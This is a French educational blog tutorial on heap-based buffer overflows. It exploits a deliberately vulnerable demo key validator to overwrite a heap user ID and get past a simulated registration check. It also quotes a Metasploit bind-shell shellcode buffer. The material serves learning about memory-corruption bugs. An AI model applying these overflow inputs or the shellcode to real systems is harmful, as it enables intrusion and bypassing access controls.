Heap-Based Buffer Overflow
|Il y a peu, notre cher 0x0c publiait ici même un dossier très complet dans un domaine qu’il connait presque parfaitement, la cryptographie. En fin pédagogue, il nous proposais même un petit programme de démonstration afin que nous puissions nous familiariser avec ces notions parfois complexes qu’il aborde.
Si vous n’avez pas eu le courage de vous investir dans ce billet, je vous propose un marche pied ludique qui vous demandera de compiler les sources de ce PoC cryptographique… Et pour vous encourager à franchir le pas, je dispose d’un argument de poids, Le programme est sensible au Heap-Based Buffer Overflow ! Inutile d’essayer de bluffer, je sais que le sujet vous intéresse, alors empressez-vous de télécharger les sources sur notre GitHub et poursuivez la lecture de ce nouveau fabuleux billet ! :)
Définition des Heap-Based Buffer Overflow
Allons-y pour une rapide explication de ce qu’est un Buffer Overflow, et plus particulièrement un Heap-Based Buffer Overflow.
Vous n’êtes pas sans savoir que lorsque une variable est utilisée par un programme, un espace mémoire lui est alloué. Par exemple en C, lorsque vous déclarez à l’intérieur d’une fonction un tableau de caractères avec l’expression char tableau[11], un espace lui sera attribué dans la stack. Il vous sera par la suite possible d’y stocker une suite de dix caractères maximum… Et oui seulement dix ! Car le dernier caractère doit être un octet nul, ce qui indique une fin de chaîne en C. Sans ce null byte, de gros soucis sont à prévoir lorsque vous travaillez avec des chaînes de caractères… Mais c’est vous qui voyez ! :)
Un buffer Overflow est un dépassement de mémoire. Pour schématiser, c’est l’écriture de beaucoup trop de données dans une beaucoup trop petite variable !
En mémoire, les données se suivent (ce n’est pas toujours vrai, mais si vous êtes débutants, considérez au moins que ce n’est pas faux). En situation de buffer overflow, Les données situées derrière la variable en cause sont écrasées. Si les données sont essentielles à l’exécution du programme, il plante; Si elles le sont moins, il est possible de modifier le comportement du programme…
Certaines variables sont définies dans une zone mémoire appelée “le tas” ou “Heap” en anglais. En C, ce qui influe sur l’emplacement en mémoire des variables est la méthode utilisée pour les déclarer. Voici deux méthodes pour déclarer une variable dans une fonction qui permettent d’accéder à deux emplacements mémoires différents :
Déclarer une variable dans la stack :
char string1[11]="0x0ff.info";
Déclarer une variable dans la Heap :
string2 = (char *) malloc(sizeof(char)*11); strcpy(string2,"0x0ff.info");
Je vous invite à jeter un œil à la Cheat-Sheet sur la segmentation mémoire que l’on a publié il y a peu. Imprimez-la et collez-la quelque part bien en vu, ça vous servira certainement !
Installation et utilisation du programme
Pour tous ceux qui ne lisent jamais le README, voici comment récupérer et utiliser le programme d’0x0c :
Téléchargez les sources :
git clone https://github.com/0x0ff/Ctoollhu.git
Compilez le binaire init avec la commande make dans le répertoire idoine :
cd Ctoollhu/0x0ff.info/Examples/PRNG-et-generateur-de-cle/ make init gcc -O3 -o init src/init.c src/primes.c src/obfuscation.c src/crypt.c -lgmp -lm -lssl -g
Exécutez init (c’est assez long, soyez patients chers adeptes du contrôle+C)
./init
Generate first prime P.
Prime p = 8793747155664443061887193967346269876439983994783202084976334751982022919479
Generate second prime Q.
Prime q = 19540630867961523255336856505267827926421080765922888661487723572952701585227
Modulo = 171835367115025462381200591626036678719946280034096719568948625527328427313878453510708229026188922573728641701319177194916737104686649374581889876936733
Generate exponent.
Exponent = 5
Compilez les binaires generator et validator :
make gen
gcc -O3 -o generator src/generator.c src/traductor.c src/prng.c src/obfuscation.c src/crypt.c -lgmp -lm -lssl -g
gcc -O3 -o validator src/validate.c src/traductor.c src/prng.c src/obfuscation.c src/crypt.c -lgmp -lm -lssl -g
Générez un serial :
./generator
The serial number is your MAC address...
Your Serial Number is : 005056982d1a
Your Code is : D2BBA3-ZDQxZD-hjZDk4-ZjAwYj-IwNGU5-ODAwOT-k4ZWNm-ODQyN2-U=
Vérifiez que le code ainsi obtenu est valide :
./validator D2BBA3-ZDQxZD-hjZDk4-ZjAwYj-IwNGU5-ODAwOT-k4ZWNm-ODQyN2-U=
Key : d41d8cd98f00b204e9800998ecf8427e
Code: d41d8cd98f00b204e9800998ecf8427e
Your code is OK !!\o/
Dcouverte de la vulnérabilité
Tout d’abord, comment ai-je découvert cette vulnérabilité au buffer overflow ? Et bien parce que j’ai fuzzé le programme pardi !..
Non, en réalité cette vulnérabilité je l’ai trouvé un peu par hasard, comme souvent finalement. A force de manipuler le programme, j’ai tout bêtement commis une faute de saisie, ce qui a eu pour résultat une jolie erreur « segmentation fault » symptomatique d’un mauvais accès à la mémoire.
./validator ABCDEF-
Segmentation fault
Le problème exploitable avec le binaire compilé « validator » se trouve dans le fichier « validate.c ».
Incriminer la Heap
Puisque l’on possède le code c’est assez simple de déterminer l’emplacement mémoire où se produit le buffer overflow. En parcourant le fichier « validate.c » on voit que l’ argument passé au programme validator est copié avec la fonction strcpy(code,argv[1]) dans un emplacement mémoire alloué avec la fonction code = (char *)malloc(sizeof(char)*MAX). Si vous n’avez pas lu en diagonal jusqu’ici, vous avez deviné ce que ça implique. Oui ça veut dire que l’emplacement se trouve sur le tas !
D’autres indices peuvent fournir cette information. Il est par exemple possible de générer cette erreur qui est assez explicite quant-à l’origine du problème :
./validator ABCD-1234567
*** glibc detected *** ./validator: free(): invalid next size (normal): 0x08c3fae8 ***
======= Backtrace: =========
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x70f01)[0xb7560f01]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x72768)[0xb7562768]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb756581d]
./validator[0x8049f16]
[0x10]
======= Memory map: ========
...
Les outils d’analyse de binaires tels que strings ou nm peuvent également servir à déduire un certain nombre d’informations utiles telles que la présence de la fonction malloc()…
Étude du Heap-Based Buffer Overflow
Trouver le point de crash
Maintenant que l’on a situé notre buffer overflow dans la Heap, il faut récupérer quelques informations supplémentaires. Un bon point de départ est trouver à partir de combien de caractères passés à la variable vulnérable le programme crash… Comme on a accès au code et plus précisément au fichier « init.h », il est facile d’estimer la taille du buffer qui causera le crash :
#ifndef MAX
#define MAX 2048
#endif
On sait donc qu’il faut au moins une chaîne de 2048 caractères pour faire planter le programme (souvenez-vous, il y a le nul byte en fin de chaîne : 2048+1 = 2049). Après quelques tentatives on établit qu’il faut 2055 caractères.
Avec 2054 caractères, ce qui donne 2048-2054+1 = 7 octets de dépassement, le +1 étant l’octet nul de fin de chaîne, et bien le programme ne crash pas :
./validator ABCDEF-abcdefghijklmnopqrstuvwxyz...abcdefghijklmnopqrs
Key : 1e4364b275a28b1bcecddf6af40eb98a
Code: i▒y▒b▒If▒▒▒▒▒▒▒,▒qן▒▒i誻-▒▒rͦ▒y▒!▒9f▒▒j▒ۯ▒▒m▒^▒▒▒Y親▒▒1▒6▒u▒▒9%▒zj▒▒n▒▒i▒^b▒Y▒▒▒▒▒▒▒6▒q▒▒(▒z)▒▒n▒
ri▒y▒b▒If▒▒▒▒▒▒▒,▒qן▒▒i誻-▒▒rͦ▒y▒!▒9f▒▒j▒ۯ▒▒m▒^▒▒▒Y親▒▒1▒6▒u▒▒9%▒zj▒▒n▒▒i▒^b▒Y▒▒▒▒▒▒▒6▒q▒▒(▒z)▒▒n▒
ri▒y▒b▒If▒▒▒▒▒▒▒,▒qן▒▒i誻-▒▒rͦ▒y▒!▒9f▒▒j▒ۯ▒▒m▒^▒▒▒Y親▒▒1▒6▒u▒▒9%▒zj▒▒n▒▒i▒^b▒Y▒▒▒▒▒▒▒6▒q▒▒(▒z)▒▒n▒
ri▒y▒b▒If▒▒▒▒▒▒▒,▒qן▒▒i誻-▒▒rͦ▒y▒!▒9f▒▒j▒ۯ▒▒m▒^▒▒▒Y親▒▒1▒6▒u▒▒9%▒zj▒▒n▒▒i▒^b▒Y▒▒▒▒▒▒▒6▒q▒▒(▒z)▒▒n▒
ri▒y▒b▒If▒▒▒▒▒▒▒,▒qן▒▒i誻-▒▒rͦ▒y▒!▒9f▒▒j▒ۯ▒▒m▒^▒▒▒Y親▒▒1▒6▒u▒▒9%▒zj▒▒n▒▒i▒^b▒Y▒▒▒▒▒▒▒6▒q▒▒(▒z)▒▒n▒
ri▒y▒b▒If▒▒▒▒▒▒▒,▒qן▒▒i誻-▒▒rͦ▒y▒!▒9f▒▒j▒ۯ▒▒m▒^▒▒▒Y親▒▒1▒6▒u▒▒9%▒zj▒▒n▒▒i▒^b▒Y▒▒▒▒▒▒▒6▒q▒▒(▒z)▒▒n▒
ri▒y▒b▒If▒▒▒▒▒▒▒,▒qן▒▒i誻-▒▒rͦ▒y▒!▒9f▒▒j▒ۯ▒▒m▒^▒▒▒Y親▒▒1▒6▒u▒▒9%▒zj▒▒n▒▒i▒^b▒Y▒▒▒▒▒▒▒6▒q▒▒(▒z)▒▒n▒
ri▒y▒b▒If▒▒▒▒▒▒▒,▒qן▒▒i誻-▒▒rͦ▒y▒!▒9f▒▒j▒ۯ▒▒m▒^▒▒▒Y親▒▒1▒6▒u▒▒9%▒zj▒▒n▒▒i▒^b▒Y▒▒▒▒▒▒▒6▒q▒▒(▒z)▒▒n▒
ri▒y▒b▒If▒▒▒▒▒▒▒,▒qן▒▒i誻-▒▒rͦ▒y▒!▒9f▒▒j▒ۯ▒▒m▒^▒▒▒Y親▒▒1▒6▒u▒▒9%▒zj▒▒n▒▒i▒^b▒Y▒▒▒▒▒▒▒6▒q▒▒(▒z)▒▒n▒
ri▒y▒b▒If▒▒▒▒▒▒▒,▒qן▒▒i誻-▒▒rͦ▒y▒!▒9f▒▒j▒ۯ▒▒m▒^▒▒▒Y親▒▒1▒6▒u▒▒9%▒zj▒▒n▒▒i▒^b▒Y▒▒▒▒▒▒▒6▒q▒▒(▒z)▒▒n▒
ri▒y▒b▒If▒▒▒▒▒▒▒,▒qן▒▒i誻-▒▒rͦ▒y▒!▒9f▒▒j▒ۯ▒▒m▒^▒▒▒Y親▒▒1▒6▒u▒▒9%▒zj▒▒n▒▒i▒^b▒Y▒▒▒▒▒▒▒6▒q▒▒(▒z)▒▒n▒
ri▒y▒b▒If▒▒▒▒▒▒▒,▒qן▒▒i▒
Bad code...
Avec 2055 caractères, ce qui donne 2048-2055+1 = 8 octets de dépassement, le +1 étant toujours l’octet nul de fin de chaîne, le programme crash :
./validator ABCDEF-abcdefghijklmnopqrstuvwxyz...abcdefghijklmnopqrst
*** glibc detected *** ./validator: free(): invalid next size (fast): 0x097f08d0 ***
======= Backtrace: =========
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x70f01)[0xb7549f01]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x72768)[0xb754b768]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb754e81d]
./validator[0x8049944]
======= Memory map: ========
...
Mais pourquoi ça crash en fait ? Et bien tout simplement parce que des informations utiles au système situées derrière la variable sur laquelle s’opère le Buffer Overflow ont été corrompues par le dépassement !
Jouer avec les mécanismes du programme
Il est important de s’interroger sur le pourquoi et le comment du comportement du programme. Par exemple, pourquoi retourne t-il des caractères étranges bien loin de ce que l’on a l’habitude de voir lors d’une utilisation normale du programme… L’explication est d’autant plus simple à formuler que l’on dispose du code source, le programme s’attend à recevoir une chaîne de caractères encodée en base64 avec des tirets (-) entre chaque groupement de 6 caractères, ce qui n’est pas du tout le format de la chaîne de caractères transmise ci-dessus… En résumé, si vous en avez marre des signes chinois, rien ne vous empêche de personnaliser votre overflow en utilisant la commande base64 que j’ai déjà présentée dans un article consacré aux Tips&Tricks du Bash.
Par exemple :
./validator ABCDEF-RGVjb3-V2cmV6-IGxlIE-hlYXAt-QmFzZW-QgQnVm-ZmVyIE-92ZXJm-bG93IH-N1ciBs-ZSBibG-9nIDB4-MGZmLm-luZm8g-...-RGVjb3-V2cmV6-IGxlIE-hlYXAt-QmFzZW-QgQnVm-ZmVyIE-92ZXJm-bG93IH-N1ciBs-ZSBibG-9nIDB4 Key : 1e4364b275a28b1bcecddf6af40eb98a Code: Decouvrez le Heap-Based Buffer Overflow sur le blog 0x0ff.info Decouvrez le Heap-Based Buffer Overflow sur le blog 0x0ff.info ... Decouvrez le Heap-Based Buffer Overflow sur le blog 0x Bad code...
Vous trouvez que ça n’a pas grand intérêt ? Je vous l’accorde de bonne grâce, tel quel ce n’est franchement pas mirobolant. Mais avez-vous déjà essayé de transmettre une chaîne contenant un octet nul en son milieu à votre programme en C ? Tendu du slip hein !? Et bah figurez vous que base64 permet d’encoder un octet nul, ce qui permet de le passer au programme sans soucis. Bien entendu il faut que le programme gère cet encodage, ce qui est le cas de notre petit PoC cryptographique by 0x0c !
A quoi ça peut bien servir ? Dans certain cas, cette subtilité peut se révéler très utile, pour injecter du shellcode sans avoir besoin de le packer (si cette phrase vous interpelle, aller lire l’article d’0x0c Antivirus : technique d’évasion des logiciels espions). Mais puisqu’un dessin vaut mieux qu’un long discours, voici un exemple tiré d’un tutoriel d’Offensive-Security :
root@kali:~# msfpayload windows/shell_bind_tcp EXITFUNC=seh LPORT=1234 C /* * windows/shell_bind_tcp - 341 bytes * http://www.metasploit.com * VERBOSE=false, LPORT=1234, RHOST=, EXITFUNC=seh, * InitialAutoRunScript=, AutoRunScript= */ unsigned char buf[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30" "\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff" "\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2" "\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85" "\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3" "\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d" "\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58" "\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b" "\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff" "\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68" "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01" "\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50" "\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7" "\x31\xdb\x53\x68\x02\x00\x04\xd2\x89\xe6\x6a\x10\x56\x57\x68" "\xc2\xdb\x37\x67\xff\xd5\x53\x57\x68\xb7\xe9\x38\xff\xff\xd5" "\x53\x53\x57\x68\x74\xec\x3b\xe1\xff\xd5\x57\x89\xc7\x68\x75" "\x6e\x4d\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3\x57\x57\x57" "\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24\x3c\x01\x01" "\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56\x46\x56\x4e" "\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56" "\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xfe\x0e\x32\xea" "\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75" "\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
Alors, convaincu ?
Octet nul, base64 et validator
La démonstration que je vous propose sur notre programme n’est que cosmétique – et ça tient à peu de choses.
Note : Pour manipuler vos chaînes de caractères, vous pouvez utiliser cet outil !
La chaîne de caractères :
Découvrez le Heap-Based Buffer Overflow sur le blog 0x0ff.info
Se traduit en hexadécimale par:
4465636F757672657A206C6520486561702D426173656420427566666572204F766572666C6F7720737572206C6520626C6F672030783066662E696E666F00
Notez la présence d’un octet nul en fin de chaîne.
Et en base64 par :
RGVjb3V2cmV6IGxlIEhlYXAtQmFzZWQgQnVmZmVyIE92ZXJmbG93IHN1ciBsZSBibG9nIDB4MGZmLmluZm8A
Cette expression en base64 contient un octet nul en fin de chaîne. Si si, vous pouvez vérifier mécréants ! Il suffit alors d’adapter cette chaîne aux exigences de notre programme…
./validator ABCDEF-RGVjb3-V2cmV6-IGxlIE-hlYXAt-QmFzZW-QgQnVm-ZmVyIE-92ZXJm-bG93IH-N1ciBs-ZSBibG-9nIDB4-MGZmLm-luZm8A-abcdefghijklmnopqrstuvwxyz Key : 1e4364b275a28b1bcecddf6af40eb98a Code: Decouvrez le Heap-Based Buffer Overflow sur le blog 0x0ff.info Bad code...
Vous pouvez constater que tout ce qui se trouve en fin de chaîne n’est pas affiché par le programme. Cool quand même non ?
Ça tient à peu de choses donc ?..
Et oui, ça tient à peu de choses… Au simple fait que le code traduit par le programme, celui qui est affiché après le label « Code: » lorsque votre programme s’est exécuté, est plus court que le code passé par l’utilisateur… Vu que le même espace mémoire est utilisé, si ces considérations de longueurs étaient inversées, il aurait été vachement plus simple de ne pas abîmer le header de la variable userID car cette zone aurait été écrasée par la traduction. Bien entendu, tout ceci n’as pas encore de sens pour vous, mais gardez mon petit laïus en tête, tout deviendra clair d’ici quelques paragraphes… ;)
Exploitation du Buffer Overflow
Bien c’est bien beau, mais qu’est ce qu’on peut faire avec tout ça ?
Et bien pas grand-chose en réalité… Enfin pas grand-chose dans l’état. C’est pourquoi je vous propose de recompiler le programme dans une version plus intéressante pour notre démonstration :
make heap
gcc -O3 -o generator src/generator.c src/traductor.c src/prng.c src/obfuscation.c src/crypt.c -lgmp -lm -lssl -g
gcc -O3 -o validator src/pocHeapBufferOverflow/validate.c src/traductor.c src/prng.c src/obfuscation.c src/crypt.c -lgmp -lm -lssl -g
Cette version du programme simule (maladroitement) un module de validation de clé CD (on ne se moque pas les jeunes !), offrant un accès à deux vitesses selon le statut de l’utilisateur, invité (démo) ou enregistré (version complète).
Liste des modifications :
- Modification de l’inclusion du fichier : #include “init.h” devient #include “../init.h”,
- Une nouvelle variable userID est déclarée après la variable code qui est sensible au fameux Heap-based Buffer Overflow,
- La variable code est initialisée avec l’octet 0x01 plutôt que l’octet 0x00 pour faciliter l’étude de la Heap (0x00 est utilisé dans le reste du programme pour remplir les espaces alloués dans la Heap),
- Les octets de la zone mémoire correspondant à la jonction entre les deux variables code et userID sont affichés en décimal avant et après le Buffer Overflow,
- Un bloc conditionnel en fin de programme fait le tri entre les utilisateurs invités et enregistrés.
Et maintenant que se passe-t-il quand vous exécutez le programme validator en lui apportant un code valide ?
./validator A3FC93-OWUxMW-ExMzA2-MjE2NT-Q4YjEy-NjQxOT-EzNzVm-ZWQ4Nz-Y= Heap avant Overflow : 1 1 1 0 0 0 0 73 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Heap après Overflow : 1 1 1 0 0 0 0 73 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Key : 9e11a1306216548b1264191375fed876 Code: 9e11a1306216548b1264191375fed876 Your code is OK !!\o/ Welcome registered user : f8fa329a217856693070ebde24297d96fd3055456de69a861e5ab3725e0cfc6e !
Et lorsque le code est invalide ?
./validator A3FC93-OWUxMW-ExMzA2-MjE2NT-Q4YjEy-NjQxOT-EzNzVm-ZWQ4Nz-A= Heap avant Overflow : 1 1 1 0 0 0 0 73 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Heap après Overflow : 1 1 1 0 0 0 0 73 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Key : 9e11a1306216548b1264191375fed876 Code: 9e11a1306216548b1264191375fed870 Bad code... Welcome guest...
C’est bon, vous avez pris vos repères ? ;-) Alors on continue.
Présentation du morceau de la Heap affiché
Comme précisé plus haut, l’espace mémoire réservé pour la variable code est initialisé avec l’octet 0x01, les trois derniers octets sont affichés par le programme, ici en bleu clair.
La zone orange représente le Header implicitement créé par la fonction malloc(). Cette zone est relativement sensible aux perturbations comme nous allons le voir un peu plus loin…
La variable userID est représentée en bleu foncé, vous pouvez constater qu’elle contient la chaîne « guest » (référez-vous au code ASCII si vous ne me croyez toujours pas !).
Mise en pratique
Nous avions déterminé qu’avec 2055 caractères le programme plantait. Le programme ayant été recompilé avec une nouvelle variable userID, la géographie de la Heap a légèrement évolué… Mais voyez plutôt :
Avec 2051 caractères, le programme s’exécute jusqu’au bout sans problème, pourtant une partie du Header est écrasée. Je ne suis malheureusement pas en mesure de vous expliquer ce que contient cette entête, mais force est de constater que le début ne semble pas trop important !
./validator ABCDEF-RGVjb3-V2cmV6-IGxlIE-hlYXAt-QmFzZW-QgQnVm-ZmVyIE-92ZXJm-bG93IH-N1ciBs-ZSBibG-9nIDB4-MGZmLm-luZm8A-abcdefghijklmnopqrstuvwxyz...abcdefghijklmnopqrstuv Heap avant Overflow : 1 1 1 0 0 0 0 73 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Heap après Overflow : 113 114 115 116 117 118 0 73 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Key : 1e4364b275a28b1bcecddf6af40eb98a Code: Decouvrez le Heap-Based Buffer Overflow sur le blog 0x0ff.info Bad code... Welcome registered user : guest !
Un caractère de plus et c’est le drame ! Avec 2052 caractères validator crash. Notre null byte de fin de chaîne overwrite la valeur 73 qui semble importante :
./validator ABCDEF-RGVjb3-V2cmV6-IGxlIE-hlYXAt-QmFzZW-QgQnVm-ZmVyIE-92ZXJm-bG93IH-N1ciBs-ZSBibG-9nIDB4-MGZmLm-luZm8A-abcdefghijklmnopqrstuvwxyz...abcdefghijklmnopqrstuvw Heap avant Overflow : 1 1 1 0 0 0 0 73 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Heap après Overflow : 113 114 115 116 117 118 119 0 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Key : 1e4364b275a28b1bcecddf6af40eb98a Code: Decouvrez le Heap-Based Buffer Overflow sur le blog 0x0ff.info Bad code... Welcome registered user : guest ! Segmentation fault
Et avec 2053 caractères alors ? Et bien ça crash tout pareil évidemment ! En même temps, 73 et 120 n’ont pas grand chose à voir (quel que soit la base)…
./validator ABCDEF-RGVjb3-V2cmV6-IGxlIE-hlYXAt-QmFzZW-QgQnVm-ZmVyIE-92ZXJm-bG93IH-N1ciBs-ZSBibG-9nIDB4-MGZmLm-luZm8A-abcdefghijklmnopqrstuvwxyz...abcdefghijklmnopqrstuvwx Heap avant Overflow : 1 1 1 0 0 0 0 73 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Heap après Overflow : 113 114 115 116 117 118 119 120 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Key : 1e4364b275a28b1bcecddf6af40eb98a Code: Decouvrez le Heap-Based Buffer Overflow sur le blog 0x0ff.info Bad code... Welcome registered user : guest ! Segmentation fault
Maintenant, en étant un peu plus malin, on se dit que remplacer 73 par le caractère ‘I‘ du code ASCII ayant pour valeur 73 est une bonne idée ! Et il semblerait bien que oui !
./validator ABCDEF-RGVjb3-V2cmV6-IGxlIE-hlYXAt-QmFzZW-QgQnVm-ZmVyIE-92ZXJm-bG93IH-N1ciBs-ZSBibG-9nIDB4-MGZmLm-luZm8A-abcdefghijklmnopqrstuvwxyz...abcdefghijklmnopqrstuvwI Heap avant Overflow : 1 1 1 0 0 0 0 73 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Heap après Overflow : 113 114 115 116 117 118 119 73 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Key : 1e4364b275a28b1bcecddf6af40eb98a Code: Decouvrez le Heap-Based Buffer Overflow sur le blog 0x0ff.info Bad code... Welcome registered user : guest !
Et si on continuait sur notre lancée ? En essayant d’écraser un octet supplémentaire du Header, on se rend compte que certains caractères semblent passer. Ce qui est étrange c’est que ce n’est pas forcément toujours les mêmes… Par exemple le caractère \x01 a fonctionné… un temps.
Pour passer ce genre de caractères non-imprimables, il suffit d’être un peu inventif :
./validator ABCDEF-RGVjb3-V2cmV6-IGxlIE-hlYXAt-QmFzZW-QgQnVm-ZmVyIE-92ZXJm-bG93IH-N1ciBs-ZSBibG-9nIDB4-MGZmLm-luZm8A-abcdefghijklmnopqrstuvwxyz...abcdefghijklmnopqrstuvwI$(printf "\x01") Heap avant Overflow : 1 1 1 0 0 0 0 73 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Heap après Overflow : 113 114 115 116 117 118 119 73 1 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Key : 1e4364b275a28b1bcecddf6af40eb98a Code: Decouvrez le Heap-Based Buffer Overflow sur le blog 0x0ff.info Bad code... Welcome registered user : guest !
Un peu plus tard, après recompilation du programme, l’utilisation du caractère \x01 causait une erreur “Segmentation fault“. Le caractère \x0D fonctionnait lui parfaitement.
./validator ABCDEF-RGVjb3-V2cmV6-IGxlIE-hlYXAt-QmFzZW-QgQnVm-ZmVyIE-92ZXJm-bG93IH-N1ciBs-ZSBibG-9nIDB4-MGZmLm-luZm8A-abcdefghijklmnopqrstuvwxyz...abcdefghijklmnopqrstuvwI$(printf "\x0D") Heap avant Overflow : 1 1 1 0 0 0 0 73 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Heap après Overflow : 113 114 115 116 117 118 119 73 13 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Key : 1e4364b275a28b1bcecddf6af40eb98a Code: Decouvrez le Heap-Based Buffer Overflow sur le blog 0x0ff.info Bad code... Welcome registered user : guest !
Si vous disposez d’informations concernant le Header créé par la fonction malloc(), vous savez où se trouve les commentaires. ;-)
Ca tient à peu de chose, bis ?
Je n’ai malheureusement pas trouvé de caractère ne faisant pas planté le programme à ajouter derrière ce buffer de 2054 caractère + 1 octet nul… Maintenant vous comprenez pourquoi il aurait été pratique d’utiliser base64 pour encrypter ces nul bytes !
Mais peut-être serez-vous plus doués que moi ! Laissez nous un commentaire pour partager votre buffer overflow si vous parvenez à franchir ces deux derniers octets du Header. ;-)
Que ça crash ou pas, on s’en cogne !
C’est con, alors tout ça pour rien !?
Mais non, ne prenez pas cet air dépité, tout ce qu’on a fait n’a pas servi a rien. Cette étape préliminaire vous a permis de vous familiariser avec les concepts, ce qui est déjà pas mal avouez-le !
Mais pourquoi finalement on s’en tape un peu que ça crash ? Et bien pour la simple raison que le programme crash seulement à la fin, au moment où il désalloue les espaces mémoires proprement en utilisant la fonction free() ! Le programme crashera lorsque l’on décidera de quitter le programme, et après ? Ça nous fait une belle jambe ça !
Finalement, comment sera construit notre buffer ?
- 2048 caractères poubelles,
- 8 caractères judicieusement choisis pour que l’erreur rencontrée soit un « Segmentation fault » et non pas :
*** glibc detected *** ./validator: free(): invalid next size (normal): 0x098af0a8 ***
======= Backtrace: =========
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x70f01)[0xb752cf01]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x72768)[0xb752e768]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(cfree+0x6d)[0xb753181d]
./validator[0x8049399]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xe6)[0xb74d2e46]
./validator[0x8049441]
======= Memory map: ========
- L’identifiant de votre choix, de longueur raisonnable pour ne pas écraser l’espace mémoire suivant hein ! :p
Exemple #1
Ça marche, mais dans l’idée c’est pas super discret. En effet le jeton utilisateur est normalement un hash sha256, bien loin de ce que l’on utilise ici.
./validator ABCDEF-RGVjb3-V2cmV6-IGxlIE-hlYXAt-QmFzZW-QgQnVm-ZmVyIE-92ZXJm-bG93IH-N1ciBs-ZSBibG-9nIDB4-MGZmLm-luZm8A-abcdefghijklmnopqrstuvwxyz...abcdefghijklmnopqrstuvwxyz-0x0ff Heap avant Overflow : 1 1 1 0 0 0 0 73 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Heap après Overflow : 113 114 115 116 117 118 119 120 121 122 45 48 120 48 102 102 0 0 0 0 0 0 0 Key : 1e4364b275a28b1bcecddf6af40eb98a Code: Decouvrez le Heap-Based Buffer Overflow sur le blog 0x0ff.info Bad code... Welcome registered user : 0x0ff ! Segmentation fault
Exemple #2
De façon un peu moins niaise, voici ce que ça pourrait donner…
./validator ABCDEF-RGVjb3-V2cmV6-IGxlIE-hlYXAt-QmFzZW-QgQnVm-ZmVyIE-92ZXJm-bG93IH-N1ciBs-ZSBibG-9nIDB4-MGZmLm-luZm8A-abcdefghijklmnopqrstuvwxyz...abcdefghijklmnopqrstuvwxyz-ceff037a5a18de9802b93f49d67f3b34828ffdca09d8c658bbfc049b06c1da10 Heap avant Overflow : 1 1 1 0 0 0 0 73 0 0 0 103 117 101 115 116 0 0 0 0 0 0 0 Heap après Overflow : 113 114 115 116 117 118 119 120 121 122 45 99 101 102 102 48 51 55 97 53 97 49 56 Key : 1e4364b275a28b1bcecddf6af40eb98a Code: Decouvrez le Heap-Based Buffer Overflow sur le blog 0x0ff.info Bad code... Welcome registered user : ceff037a5a18de9802b93f49d67f3b34828ffdca09d8c658bbfc049b06c1da10 ! Segmentation fault
Vous pouvez enfin souffler, vous voilà arrivé au bout de l’article ! Maintenant que vous vous êtes familiarisé avec les Heap-Based Buffer Overflow, vous pouvez commencer les choses sérieuses, ici ou ailleurs ! N’attendez pas un prochain billet sur le sujet pour continuer à creuser, il y a un Heap d’autres sites aussi bien que 0x0ff.info ! A bientôt les cocos !